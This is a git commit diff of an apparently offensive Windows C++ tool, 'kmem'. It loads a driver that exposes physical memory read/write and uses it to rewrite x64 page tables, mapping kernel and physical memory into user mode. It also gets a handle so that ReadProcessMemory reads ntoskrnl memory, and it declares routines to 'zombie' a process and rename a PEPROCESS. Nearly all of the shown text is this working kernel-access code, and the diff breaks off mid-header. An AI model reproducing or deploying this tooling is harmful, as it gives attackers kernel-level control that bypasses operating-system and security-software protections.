_xeroxz
4 years ago
parent
c17f43d0f9
commit
0c5b29f708
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After Width: | Height: | Size: 6.5 KiB |
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// Icon Resource Definition
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#define MAIN_ICON 102
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MAIN_ICON ICON "small.ico"
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@ -0,0 +1,107 @@
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||||
<?xml version="1.0" encoding="utf-8"?>
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||||
<Project DefaultTargets="Build" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
|
||||
<ItemGroup Label="ProjectConfigurations">
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||||
<ProjectConfiguration Include="Debug|x64">
|
||||
<Configuration>Debug</Configuration>
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||||
<Platform>x64</Platform>
|
||||
</ProjectConfiguration>
|
||||
<ProjectConfiguration Include="Release|x64">
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||||
<Configuration>Release</Configuration>
|
||||
<Platform>x64</Platform>
|
||||
</ProjectConfiguration>
|
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</ItemGroup>
|
||||
<PropertyGroup Label="Globals">
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||||
<VCProjectVersion>16.0</VCProjectVersion>
|
||||
<Keyword>Win32Proj</Keyword>
|
||||
<ProjectGuid>{ed392663-3af3-40de-8ac7-2f373b3e9b45}</ProjectGuid>
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||||
<RootNamespace>nasainjector</RootNamespace>
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<WindowsTargetPlatformVersion>10.0</WindowsTargetPlatformVersion>
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<ProjectName>kmem</ProjectName>
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</PropertyGroup>
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||||
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.Default.props" />
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||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'" Label="Configuration">
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||||
<ConfigurationType>Application</ConfigurationType>
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||||
<UseDebugLibraries>true</UseDebugLibraries>
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||||
<PlatformToolset>v142</PlatformToolset>
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||||
<CharacterSet>MultiByte</CharacterSet>
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||||
</PropertyGroup>
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'" Label="Configuration">
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||||
<ConfigurationType>Application</ConfigurationType>
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||||
<UseDebugLibraries>false</UseDebugLibraries>
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||||
<PlatformToolset>v142</PlatformToolset>
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||||
<WholeProgramOptimization>true</WholeProgramOptimization>
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||||
<CharacterSet>MultiByte</CharacterSet>
|
||||
</PropertyGroup>
|
||||
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.props" />
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||||
<ImportGroup Label="ExtensionSettings">
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</ImportGroup>
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||||
<ImportGroup Label="Shared">
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||||
</ImportGroup>
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||||
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
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<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
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</ImportGroup>
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||||
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
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<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
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</ImportGroup>
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<PropertyGroup Label="UserMacros" />
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||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
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<LinkIncremental>true</LinkIncremental>
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</PropertyGroup>
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||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
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<LinkIncremental>false</LinkIncremental>
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||||
</PropertyGroup>
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||||
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
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<ClCompile>
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<WarningLevel>Level3</WarningLevel>
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<SDLCheck>true</SDLCheck>
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<PreprocessorDefinitions>_DEBUG;_CONSOLE;%(PreprocessorDefinitions);_CRT_SECURE_NO_WARNINGS</PreprocessorDefinitions>
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<ConformanceMode>true</ConformanceMode>
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<LanguageStandard>stdcpp17</LanguageStandard>
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<Optimization>Custom</Optimization>
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</ClCompile>
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<Link>
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<SubSystem>Console</SubSystem>
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||||
<GenerateDebugInformation>true</GenerateDebugInformation>
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||||
</Link>
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||||
</ItemDefinitionGroup>
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||||
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
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||||
<ClCompile>
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||||
<WarningLevel>Level3</WarningLevel>
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||||
<FunctionLevelLinking>true</FunctionLevelLinking>
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||||
<IntrinsicFunctions>true</IntrinsicFunctions>
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||||
<SDLCheck>true</SDLCheck>
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||||
<PreprocessorDefinitions>NDEBUG;_CONSOLE;%(PreprocessorDefinitions);_CRT_SECURE_NO_WARNINGS</PreprocessorDefinitions>
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||||
<ConformanceMode>true</ConformanceMode>
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||||
<LanguageStandard>stdcpp17</LanguageStandard>
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||||
<Optimization>Custom</Optimization>
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||||
</ClCompile>
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<Link>
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||||
<SubSystem>Console</SubSystem>
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||||
<EnableCOMDATFolding>true</EnableCOMDATFolding>
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||||
<OptimizeReferences>true</OptimizeReferences>
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||||
<GenerateDebugInformation>true</GenerateDebugInformation>
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</Link>
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||||
</ItemDefinitionGroup>
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||||
<ItemGroup>
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<ClCompile Include="kmem_ctx\kmem_ctx.cpp" />
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<ClCompile Include="main.cpp" />
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<ClCompile Include="mem_ctx\mem_ctx.cpp" />
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<ClCompile Include="vdm_ctx\vdm_ctx.cpp" />
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</ItemGroup>
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<ItemGroup>
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<ClInclude Include="kmem_ctx\kmem_ctx.hpp" />
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<ClInclude Include="mem_ctx\mem_ctx.hpp" />
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<ClInclude Include="util\loadup.hpp" />
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<ClInclude Include="util\nt.hpp" />
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<ClInclude Include="util\util.hpp" />
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<ClInclude Include="vdm\raw_driver.hpp" />
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<ClInclude Include="vdm\vdm.hpp" />
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<ClInclude Include="vdm_ctx\vdm_ctx.hpp" />
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||||
</ItemGroup>
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||||
<ItemGroup>
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||||
<ResourceCompile Include="icon.rc" />
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||||
</ItemGroup>
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||||
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.targets" />
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||||
<ImportGroup Label="ExtensionTargets">
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||||
</ImportGroup>
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||||
</Project>
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||||
@ -0,0 +1,64 @@
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||||
<?xml version="1.0" encoding="utf-8"?>
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||||
<Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
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<ItemGroup>
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||||
<Filter Include="Source Files">
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||||
<UniqueIdentifier>{4FC737F1-C7A5-4376-A066-2A32D752A2FF}</UniqueIdentifier>
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||||
<Extensions>cpp;c;cc;cxx;c++;cppm;ixx;def;odl;idl;hpj;bat;asm;asmx</Extensions>
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</Filter>
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||||
<Filter Include="Header Files">
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||||
<UniqueIdentifier>{93995380-89BD-4b04-88EB-625FBE52EBFB}</UniqueIdentifier>
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||||
<Extensions>h;hh;hpp;hxx;h++;hm;inl;inc;ipp;xsd</Extensions>
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</Filter>
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||||
<Filter Include="Header Files\vdm">
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<UniqueIdentifier>{b197b9bf-8ab7-40c3-89e0-ad2ac4a211ab}</UniqueIdentifier>
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||||
</Filter>
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||||
<Filter Include="Header Files\util">
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<UniqueIdentifier>{565c24cf-6d76-4715-9d8c-f35b17ee0ec6}</UniqueIdentifier>
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</Filter>
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</ItemGroup>
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<ItemGroup>
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||||
<ClCompile Include="main.cpp">
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||||
<Filter>Source Files</Filter>
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||||
</ClCompile>
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||||
<ClCompile Include="vdm_ctx\vdm_ctx.cpp">
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||||
<Filter>Source Files</Filter>
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||||
</ClCompile>
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||||
<ClCompile Include="mem_ctx\mem_ctx.cpp">
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||||
<Filter>Source Files</Filter>
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||||
</ClCompile>
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||||
<ClCompile Include="kmem_ctx\kmem_ctx.cpp">
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||||
<Filter>Source Files</Filter>
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||||
</ClCompile>
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||||
</ItemGroup>
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||||
<ItemGroup>
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||||
<ClInclude Include="vdm\raw_driver.hpp">
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||||
<Filter>Header Files\vdm</Filter>
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||||
</ClInclude>
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||||
<ClInclude Include="vdm\vdm.hpp">
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<Filter>Header Files\vdm</Filter>
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</ClInclude>
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<ClInclude Include="vdm_ctx\vdm_ctx.hpp">
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<Filter>Header Files</Filter>
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||||
</ClInclude>
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||||
<ClInclude Include="util\loadup.hpp">
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||||
<Filter>Header Files\util</Filter>
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||||
</ClInclude>
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||||
<ClInclude Include="util\nt.hpp">
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||||
<Filter>Header Files\util</Filter>
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||||
</ClInclude>
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||||
<ClInclude Include="util\util.hpp">
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||||
<Filter>Header Files\util</Filter>
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||||
</ClInclude>
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||||
<ClInclude Include="mem_ctx\mem_ctx.hpp">
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||||
<Filter>Header Files</Filter>
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||||
</ClInclude>
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||||
<ClInclude Include="kmem_ctx\kmem_ctx.hpp">
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||||
<Filter>Header Files</Filter>
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||||
</ClInclude>
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||||
</ItemGroup>
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||||
<ItemGroup>
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||||
<ResourceCompile Include="icon.rc">
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||||
<Filter>Header Files</Filter>
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||||
</ResourceCompile>
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||||
</ItemGroup>
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||||
</Project>
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||||
@ -0,0 +1,11 @@
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||||
<?xml version="1.0" encoding="utf-8"?>
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||||
<Project ToolsVersion="Current" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
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||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
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||||
<LocalDebuggerCommandArguments>--pid 12116</LocalDebuggerCommandArguments>
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||||
<DebuggerFlavor>WindowsLocalDebugger</DebuggerFlavor>
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||||
</PropertyGroup>
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||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
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||||
<LocalDebuggerCommandArguments>--pid 69</LocalDebuggerCommandArguments>
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||||
<DebuggerFlavor>WindowsLocalDebugger</DebuggerFlavor>
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||||
</PropertyGroup>
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||||
</Project>
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@ -0,0 +1,17 @@
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#pragma once
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#include "../mem_ctx/mem_ctx.hpp"
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namespace nasa
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{
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class kmem_ctx
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{
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public:
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kmem_ctx(vdm::vdm_ctx* vdm);
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static auto get_handle()->HANDLE;
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static auto translate(std::uintptr_t kva)->std::uintptr_t;
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private:
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void zombie(std::uint32_t pid) const;
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bool set_process_name(PEPROCESS peproc, const wchar_t* new_name);
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vdm::vdm_ctx* vdm;
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};
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}
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#include "kmem_ctx/kmem_ctx.hpp"
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int __cdecl main(int argc, char** argv)
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{
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vdm::read_phys_t _read_phys = [&](void* addr, void* buffer, std::size_t size) -> bool
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{
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return vdm::read_phys(addr, buffer, size);
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};
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vdm::write_phys_t _write_phys = [&](void* addr, void* buffer, std::size_t size) -> bool
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{
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return vdm::write_phys(addr, buffer, size);
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};
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auto kmem_handle = nasa::kmem_ctx::get_handle();
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// translation just subtracts pml4 index bit field by 255...
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const auto ntoskrnl_base = util::get_kmodule_base("ntoskrnl.exe");
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const auto ntoskrnl_translated = nasa::kmem_ctx::translate(ntoskrnl_base);
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std::printf("[+] ntoskrnl base -> 0x%p\n", ntoskrnl_base);
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std::printf("[+] ntoskrnl translated -> 0x%p\n", ntoskrnl_translated);
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if (kmem_handle == INVALID_HANDLE_VALUE)
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{
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const auto [drv_handle, drv_key] = vdm::load_drv();
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if (drv_handle == INVALID_HANDLE_VALUE)
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{
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std::printf("[!] invalid handle...\n");
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std::getchar();
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return -1;
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}
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vdm::vdm_ctx vdm(_read_phys, _write_phys);
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nasa::kmem_ctx kmem(&vdm);
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kmem_handle = kmem.get_handle();
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unsigned short mz = 0u;
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std::size_t bytes_handled;
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// ReadProcessMemory kernel memory example...
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auto result =
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ReadProcessMemory(
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kmem_handle,
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reinterpret_cast<void*>(ntoskrnl_translated),
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&mz, sizeof mz,
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&bytes_handled
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);
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std::printf("[+] ReadProcessMemory Result -> %d, mz -> 0x%x\n", result, mz);
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if (!vdm::unload_drv(drv_handle, drv_key))
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{
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std::printf("[!] unable to unload driver...\n");
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std::getchar();
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return -1;
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}
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}
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else
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{
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unsigned short mz = 0u;
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std::size_t bytes_handled;
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// ReadProcessMemory kernel memory example...
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auto result =
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ReadProcessMemory(
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kmem_handle,
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reinterpret_cast<void*>(ntoskrnl_translated),
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&mz, sizeof mz,
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&bytes_handled
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);
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std::printf("[+] ReadProcessMemory Result -> %d, mz -> 0x%x\n", result, mz);
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}
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std::printf("[+] press enter to exit...\n");
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std::getchar();
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}
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@ -0,0 +1,480 @@
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#include "mem_ctx.hpp"
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namespace nasa
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{
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mem_ctx::mem_ctx(vdm::vdm_ctx& v_ctx, std::uint32_t pid)
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:
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v_ctx(&v_ctx),
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pid(pid),
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dirbase(get_dirbase(v_ctx, pid))
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{
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// find an empty pml4e inside of current processes pml4...
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const auto current_pml4 =
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v_ctx.get_virtual(reinterpret_cast<std::uintptr_t>(
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get_dirbase(v_ctx, GetCurrentProcessId())));
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for (auto idx = 100u; idx > 0u; --idx)
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if (!v_ctx.rkm<pml4e>(current_pml4 + (idx * sizeof pml4e)).value)
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this->pml4e_index = idx;
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// allocate a pdpt
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this->new_pdpt.second =
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reinterpret_cast<ppdpte>(
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VirtualAlloc(
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NULL,
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PAGE_4KB,
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MEM_COMMIT | MEM_RESERVE,
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PAGE_READWRITE
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));
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PAGE_IN(this->new_pdpt.second, PAGE_4KB);
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// get page table entries for new pdpt
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pt_entries new_pdpt_entries;
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hyperspace_entries(new_pdpt_entries, new_pdpt.second);
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this->new_pdpt.first = reinterpret_cast<ppdpte>(new_pdpt_entries.pt.second.pfn << 12);
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// make a new pml4e that points to our new pdpt.
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new_pdpt_entries.pml4.second.pfn = new_pdpt_entries.pt.second.pfn;
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// set the pml4e to point to the new pdpt
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set_pml4e(reinterpret_cast<::ppml4e>(get_dirbase()) + this->pml4e_index, new_pdpt_entries.pml4.second, true);
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// make a new pd
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this->new_pd.second =
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reinterpret_cast<ppde>(
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VirtualAlloc(
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NULL,
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PAGE_4KB,
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MEM_COMMIT | MEM_RESERVE,
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PAGE_READWRITE
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));
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PAGE_IN(this->new_pd.second, PAGE_4KB);
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// get paging table entries for pd
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pt_entries new_pd_entries;
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hyperspace_entries(new_pd_entries, this->new_pd.second);
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this->new_pd.first = reinterpret_cast<ppde>(new_pd_entries.pt.second.pfn << 12);
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// make a new pt
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this->new_pt.second =
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reinterpret_cast<ppte>(
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VirtualAlloc(
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NULL,
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PAGE_4KB,
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MEM_COMMIT | MEM_RESERVE,
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PAGE_READWRITE
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));
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PAGE_IN(this->new_pt.second, PAGE_4KB);
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// get paging table entries for pt
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pt_entries new_pt_entries;
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hyperspace_entries(new_pt_entries, this->new_pt.second);
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this->new_pt.first = reinterpret_cast<ppte>(new_pt_entries.pt.second.pfn << 12);
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}
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void* mem_ctx::set_page(void* addr)
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{
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// table entry change.
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++pte_index;
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if (pte_index >= 511)
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{
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++pde_index;
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pte_index = 0;
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}
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if (pde_index >= 511)
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{
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++pdpte_index;
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pde_index = 0;
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}
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if (pdpte_index >= 511)
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pdpte_index = 0;
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pdpte new_pdpte = { NULL };
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new_pdpte.present = true;
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new_pdpte.rw = true;
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new_pdpte.pfn = reinterpret_cast<std::uintptr_t>(new_pd.first) >> 12;
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new_pdpte.user_supervisor = true;
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new_pdpte.accessed = true;
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// set pdpte entry
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*reinterpret_cast<pdpte*>(new_pdpt.second + pdpte_index) = new_pdpte;
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pde new_pde = { NULL };
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new_pde.present = true;
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new_pde.rw = true;
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new_pde.pfn = reinterpret_cast<std::uintptr_t>(new_pt.first) >> 12;
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new_pde.user_supervisor = true;
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new_pde.accessed = true;
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// set pde entry
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*reinterpret_cast<pde*>(new_pd.second + pde_index) = new_pde;
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pte new_pte = { NULL };
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new_pte.present = true;
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new_pte.rw = true;
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new_pte.pfn = reinterpret_cast<std::uintptr_t>(addr) >> 12;
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new_pte.user_supervisor = true;
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new_pte.accessed = true;
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// set pte entry
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*reinterpret_cast<pte*>(new_pt.second + pte_index) = new_pte;
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// set page offset
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this->page_offset = virt_addr_t{ addr }.offset;
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return get_page();
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}
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void* mem_ctx::get_page() const
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{
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// builds a new address given the state of all table indexes
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virt_addr_t new_addr;
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new_addr.pml4_index = this->pml4e_index;
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new_addr.pdpt_index = this->pdpte_index;
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new_addr.pd_index = this->pde_index;
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new_addr.pt_index = this->pte_index;
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new_addr.offset = this->page_offset;
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return new_addr.value;
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}
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void* mem_ctx::get_dirbase(vdm::vdm_ctx& v_ctx, std::uint32_t pid)
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{
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const auto peproc =
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reinterpret_cast<std::uint64_t>(v_ctx.get_peprocess(pid));
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const auto dirbase =
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v_ctx.rkm<pte>(peproc + 0x28);
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return reinterpret_cast<void*>(dirbase.pfn << 12);
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}
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bool mem_ctx::hyperspace_entries(pt_entries& entries, void* addr)
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{
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if (!addr || !dirbase)
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return false;
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||||
virt_addr_t virt_addr{ addr };
|
||||
entries.pml4.first = reinterpret_cast<ppml4e>(dirbase) + virt_addr.pml4_index;
|
||||
entries.pml4.second = v_ctx->rkm<pml4e>(
|
||||
v_ctx->get_virtual(reinterpret_cast<std::uintptr_t>(entries.pml4.first)));
|
||||
|
||||
if (!entries.pml4.second.value)
|
||||
return false;
|
||||
|
||||
entries.pdpt.first = reinterpret_cast<ppdpte>(entries.pml4.second.pfn << 12) + virt_addr.pdpt_index;
|
||||
entries.pdpt.second = v_ctx->rkm<pdpte>(
|
||||
v_ctx->get_virtual(reinterpret_cast<std::uintptr_t>(entries.pdpt.first)));
|
||||
|
||||
if (!entries.pdpt.second.value)
|
||||
return false;
|
||||
|
||||
entries.pd.first = reinterpret_cast<ppde>(entries.pdpt.second.pfn << 12) + virt_addr.pd_index;
|
||||
entries.pd.second = v_ctx->rkm<pde>(
|
||||
v_ctx->get_virtual(reinterpret_cast<std::uintptr_t>(entries.pd.first)));
|
||||
|
||||
// if its a 2mb page
|
||||
if (entries.pd.second.large_page)
|
||||
{
|
||||
entries.pt.second.value = entries.pd.second.value;
|
||||
entries.pt.first = reinterpret_cast<ppte>(entries.pd.second.value);
|
||||
return true;
|
||||
}
|
||||
|
||||
entries.pt.first = reinterpret_cast<ppte>(entries.pd.second.pfn << 12) + virt_addr.pt_index;
|
||||
entries.pt.second = v_ctx->rkm<pte>(
|
||||
v_ctx->get_virtual(reinterpret_cast<std::uintptr_t>(entries.pt.first)));
|
||||
|
||||
if (!entries.pt.second.value)
|
||||
return false;
|
||||
|
||||
return true;
|
||||
}
|
||||
|
||||
std::pair<ppte, pte> mem_ctx::get_pte(void* addr, bool use_hyperspace)
|
||||
{
|
||||
if (!dirbase || !addr)
|
||||
return {};
|
||||
|
||||
pt_entries entries;
|
||||
if ((use_hyperspace ? hyperspace_entries(entries, addr) : (bool)virt_to_phys(entries, addr)))
|
||||
return { entries.pt.first, entries.pt.second };
|
||||
return {};
|
||||
}
|
||||
|
||||
void mem_ctx::set_pte(void* addr, const ::pte& pte, bool use_hyperspace)
|
||||
{
|
||||
if (!dirbase || !addr)
|
||||
return;
|
||||
|
||||
if (use_hyperspace)
|
||||
v_ctx->wkm(v_ctx->get_virtual(reinterpret_cast<std::uintptr_t>(addr)), pte);
|
||||
else
|
||||
write_phys(addr, pte);
|
||||
}
|
||||
|
||||
std::pair<ppde, pde> mem_ctx::get_pde(void* addr, bool use_hyperspace)
|
||||
{
|
||||
if (!dirbase || !addr)
|
||||
return {};
|
||||
|
||||
pt_entries entries;
|
||||
if ((use_hyperspace ? hyperspace_entries(entries, addr) : (bool)virt_to_phys(entries, addr)))
|
||||
return { entries.pd.first, entries.pd.second };
|
||||
return {};
|
||||
}
|
||||
|
||||
void mem_ctx::set_pde(void* addr, const ::pde& pde, bool use_hyperspace)
|
||||
{
|
||||
if (!this->dirbase || !addr)
|
||||
return;
|
||||
|
||||
if (use_hyperspace)
|
||||
v_ctx->wkm(v_ctx->get_virtual(reinterpret_cast<std::uintptr_t>(addr)), pde);
|
||||
else
|
||||
write_phys(addr, pde);
|
||||
}
|
||||
|
||||
std::pair<ppdpte, pdpte> mem_ctx::get_pdpte(void* addr, bool use_hyperspace)
|
||||
{
|
||||
if (!dirbase || !addr)
|
||||
return {};
|
||||
|
||||
pt_entries entries;
|
||||
if ((use_hyperspace ? hyperspace_entries(entries, addr) : (bool)virt_to_phys(entries, addr)))
|
||||
return { entries.pdpt.first, entries.pdpt.second };
|
||||
return {};
|
||||
}
|
||||
|
||||
void mem_ctx::set_pdpte(void* addr, const ::pdpte& pdpte, bool use_hyperspace)
|
||||
{
|
||||
if (!this->dirbase || !addr)
|
||||
return;
|
||||
|
||||
if (use_hyperspace)
|
||||
v_ctx->wkm(v_ctx->get_virtual(reinterpret_cast<std::uintptr_t>(addr)), pdpte);
|
||||
else
|
||||
write_phys(addr, pdpte);
|
||||
}
|
||||
|
||||
std::pair<ppml4e, pml4e> mem_ctx::get_pml4e(void* addr, bool use_hyperspace)
|
||||
{
|
||||
if (!this->dirbase || !addr)
|
||||
return {};
|
||||
|
||||
pt_entries entries;
|
||||
if ((use_hyperspace ? hyperspace_entries(entries, addr) : (bool)virt_to_phys(entries, addr)))
|
||||
return { entries.pml4.first, entries.pml4.second };
|
||||
return {};
|
||||
}
|
||||
|
||||
void mem_ctx::set_pml4e(void* addr, const ::pml4e& pml4e, bool use_hyperspace)
|
||||
{
|
||||
if (!this->dirbase || !addr)
|
||||
return;
|
||||
|
||||
if (use_hyperspace)
|
||||
v_ctx->wkm(v_ctx->get_virtual(reinterpret_cast<std::uintptr_t>(addr)), pml4e);
|
||||
else
|
||||
write_phys(addr, pml4e);
|
||||
}
|
||||
|
||||
std::pair<void*, void*> mem_ctx::read_virtual(void* buffer, void* addr, std::size_t size)
|
||||
{
|
||||
if (!buffer || !addr || !size || !dirbase)
|
||||
return {};
|
||||
|
||||
virt_addr_t virt_addr{ addr };
|
||||
if (size <= PAGE_4KB - virt_addr.offset)
|
||||
{
|
||||
pt_entries entries;
|
||||
read_phys
|
||||
(
|
||||
buffer,
|
||||
virt_to_phys(entries, addr),
|
||||
size
|
||||
);
|
||||
|
||||
return
|
||||
{
|
||||
reinterpret_cast<void*>(reinterpret_cast<std::uintptr_t>(buffer) + size),
|
||||
reinterpret_cast<void*>(reinterpret_cast<std::uintptr_t>(addr) + size)
|
||||
};
|
||||
}
|
||||
else
|
||||
{
|
||||
// cut remainder
|
||||
const auto [new_buffer_addr, new_addr] = read_virtual
|
||||
(
|
||||
buffer,
|
||||
addr,
|
||||
PAGE_4KB - virt_addr.offset
|
||||
);
|
||||
|
||||
// forward work load
|
||||
return read_virtual
|
||||
(
|
||||
new_buffer_addr,
|
||||
new_addr,
|
||||
size - (PAGE_4KB - virt_addr.offset)
|
||||
);
|
||||
}
|
||||
}
|
||||
|
||||
std::pair<void*, void*> mem_ctx::write_virtual(void* buffer, void* addr, std::size_t size)
|
||||
{
|
||||
if (!buffer || !addr || !size || !dirbase)
|
||||
return {};
|
||||
|
||||
virt_addr_t virt_addr{ addr };
|
||||
if (size <= PAGE_4KB - virt_addr.offset)
|
||||
{
|
||||
pt_entries entries;
|
||||
write_phys
|
||||
(
|
||||
buffer,
|
||||
virt_to_phys(entries, addr),
|
||||
size
|
||||
);
|
||||
|
||||
return
|
||||
{
|
||||
reinterpret_cast<void*>(reinterpret_cast<std::uintptr_t>(buffer) + size),
|
||||
reinterpret_cast<void*>(reinterpret_cast<std::uintptr_t>(addr) + size)
|
||||
};
|
||||
}
|
||||
else
|
||||
{
|
||||
// cut remainder
|
||||
const auto [new_buffer_addr, new_addr] = write_virtual
|
||||
(
|
||||
buffer,
|
||||
addr,
|
||||
PAGE_4KB - virt_addr.offset
|
||||
);
|
||||
|
||||
// forward work load
|
||||
return write_virtual
|
||||
(
|
||||
new_buffer_addr,
|
||||
new_addr,
|
||||
size - (PAGE_4KB - virt_addr.offset)
|
||||
);
|
||||
}
|
||||
}
|
||||
|
||||
bool mem_ctx::read_phys(void* buffer, void* addr, std::size_t size)
|
||||
{
|
||||
if (!buffer || !addr || !size)
|
||||
return false;
|
||||
|
||||
const auto temp_page = set_page(addr);
|
||||
__try
|
||||
{
|
||||
memcpy(buffer, temp_page, size);
|
||||
}
|
||||
__except (EXCEPTION_EXECUTE_HANDLER)
|
||||
{
|
||||
return false;
|
||||
}
|
||||
return true;
|
||||
}
|
||||
|
||||
bool mem_ctx::write_phys(void* buffer, void* addr, std::size_t size)
|
||||
{
|
||||
if (!buffer || !addr || !size)
|
||||
return false;
|
||||
|
||||
const auto temp_page = set_page(addr);
|
||||
__try
|
||||
{
|
||||
memcpy(temp_page, buffer, size);
|
||||
}
|
||||
__except (EXCEPTION_EXECUTE_HANDLER)
|
||||
{
|
||||
return false;
|
||||
}
|
||||
return true;
|
||||
}
|
||||
|
||||
void* mem_ctx::virt_to_phys(pt_entries& entries, void* addr)
|
||||
{
|
||||
if (!addr || !this->dirbase)
|
||||
return {};
|
||||
|
||||
const virt_addr_t virt_addr{ addr };
|
||||
|
||||
// traverse paging tables
|
||||
auto pml4e = read_phys<::pml4e>(
|
||||
reinterpret_cast<ppml4e>(this->dirbase) + virt_addr.pml4_index);
|
||||
|
||||
entries.pml4.first = reinterpret_cast<ppml4e>(this->dirbase) + virt_addr.pml4_index;
|
||||
entries.pml4.second = pml4e;
|
||||
|
||||
if (!pml4e.value)
|
||||
return NULL;
|
||||
|
||||
auto pdpte = read_phys<::pdpte>(
|
||||
reinterpret_cast<ppdpte>(pml4e.pfn << 12) + virt_addr.pdpt_index);
|
||||
|
||||
entries.pdpt.first = reinterpret_cast<ppdpte>(pml4e.pfn << 12) + virt_addr.pdpt_index;
|
||||
entries.pdpt.second = pdpte;
|
||||
|
||||
if (!pdpte.value)
|
||||
return NULL;
|
||||
|
||||
auto pde = read_phys<::pde>(
|
||||
reinterpret_cast<ppde>(pdpte.pfn << 12) + virt_addr.pd_index);
|
||||
|
||||
entries.pd.first = reinterpret_cast<ppde>(pdpte.pfn << 12) + virt_addr.pd_index;
|
||||
entries.pd.second = pde;
|
||||
|
||||
if (!pde.value)
|
||||
return NULL;
|
||||
|
||||
auto pte = read_phys<::pte>(
|
||||
reinterpret_cast<ppte>(pde.pfn << 12) + virt_addr.pt_index);
|
||||
|
||||
entries.pt.first = reinterpret_cast<ppte>(pde.pfn << 12) + virt_addr.pt_index;
|
||||
entries.pt.second = pte;
|
||||
|
||||
if (!pte.value)
|
||||
return NULL;
|
||||
|
||||
return reinterpret_cast<void*>((pte.pfn << 12) + virt_addr.offset);
|
||||
}
|
||||
|
||||
unsigned mem_ctx::get_pid() const
|
||||
{
|
||||
return this->pid;
|
||||
}
|
||||
|
||||
void* mem_ctx::get_dirbase() const
|
||||
{
|
||||
return this->dirbase;
|
||||
}
|
||||
|
||||
pml4e mem_ctx::operator[](std::uint16_t pml4_idx)
|
||||
{
|
||||
return read_phys<::pml4e>(reinterpret_cast<ppml4e>(this->dirbase) + pml4_idx);
|
||||
}
|
||||
|
||||
pdpte mem_ctx::operator[](const std::pair<std::uint16_t, std::uint16_t>& entry_idx)
|
||||
{
|
||||
const auto pml4_entry = this->operator[](entry_idx.first);
|
||||
return read_phys<::pdpte>(reinterpret_cast<ppdpte>(pml4_entry.pfn << 12) + entry_idx.second);
|
||||
}
|
||||
|
||||
pde mem_ctx::operator[](const std::tuple<std::uint16_t, std::uint16_t, std::uint16_t>& entry_idx)
|
||||
{
|
||||
const auto pdpt_entry = this->operator[]({ std::get<0>(entry_idx), std::get<1>(entry_idx) });
|
||||
return read_phys<::pde>(reinterpret_cast<ppde>(pdpt_entry.pfn << 12) + std::get<2>(entry_idx));
|
||||
}
|
||||
|
||||
pte mem_ctx::operator[](const std::tuple<std::uint16_t, std::uint16_t, std::uint16_t, std::uint16_t>& entry_idx)
|
||||
{
|
||||
const auto pd_entry = this->operator[]({ std::get<0>(entry_idx), std::get<1>(entry_idx), std::get<2>(entry_idx) });
|
||||
return read_phys<::pte>(reinterpret_cast<ppte>(pd_entry.pfn << 12) + std::get<3>(entry_idx));
|
||||
}
|
||||
}
|
||||
@ -0,0 +1,86 @@
|
||||
#pragma once
|
||||
#include "../util/nt.hpp"
|
||||
#include "../vdm_ctx/vdm_ctx.hpp"
|
||||
|
||||
namespace nasa
|
||||
{
|
||||
class mem_ctx
|
||||
{
|
||||
friend class pclone_ctx;
|
||||
public:
|
||||
mem_ctx(vdm::vdm_ctx& v_ctx, std::uint32_t pid = GetCurrentProcessId());
|
||||
std::pair<ppte, pte> get_pte(void* addr, bool use_hyperspace = false);
|
||||
void set_pte(void* addr, const ::pte& pte, bool use_hyperspace = false);
|
||||
|
||||
std::pair<ppde, pde> get_pde(void* addr, bool use_hyperspace = false);
|
||||
void set_pde(void* addr, const ::pde& pde, bool use_hyperspace = false);
|
||||
|
||||
std::pair<ppdpte, pdpte> get_pdpte(void* addr, bool use_hyperspace = false);
|
||||
void set_pdpte(void* addr, const ::pdpte& pdpte, bool use_hyperspace = false);
|
||||
|
||||
std::pair<ppml4e, pml4e> get_pml4e(void* addr, bool use_hyperspace = false);
|
||||
void set_pml4e(void* addr, const ::pml4e& pml4e, bool use_hyperspace = false);
|
||||
|
||||
void* get_dirbase() const;
|
||||
static void* get_dirbase(vdm::vdm_ctx& v_ctx, std::uint32_t pid);
|
||||
|
||||
bool read_phys(void* buffer, void* addr, std::size_t size);
|
||||
bool write_phys(void* buffer, void* addr, std::size_t size);
|
||||
|
||||
template <class T>
|
||||
T read_phys(void* addr)
|
||||
{
|
||||
T buffer;
|
||||
read_phys((void*)&buffer, addr, sizeof(T));
|
||||
return buffer;
|
||||
}
|
||||
|
||||
template <class T>
|
||||
void write_phys(void* addr, const T& data)
|
||||
{
|
||||
write_phys((void*)&data, addr, sizeof(T));
|
||||
}
|
||||
|
||||
std::pair<void*, void*> read_virtual(void* buffer, void* addr, std::size_t size);
|
||||
std::pair<void*, void*> write_virtual(void* buffer, void* addr, std::size_t size);
|
||||
|
||||
template <class T>
|
||||
__forceinline T read_virtual(void* addr)
|
||||
{
|
||||
T buffer;
|
||||
read_virtual((void*)&buffer, addr, sizeof(T));
|
||||
return buffer;
|
||||
}
|
||||
|
||||
template <class T>
|
||||
__forceinline void write_virtual(void* addr, const T& data)
|
||||
{
|
||||
write_virtual((void*)&data, addr, sizeof(T));
|
||||
}
|
||||
|
||||
void* virt_to_phys(pt_entries& entries, void* addr);
|
||||
void* set_page(void* addr);
|
||||
void* get_page() const;
|
||||
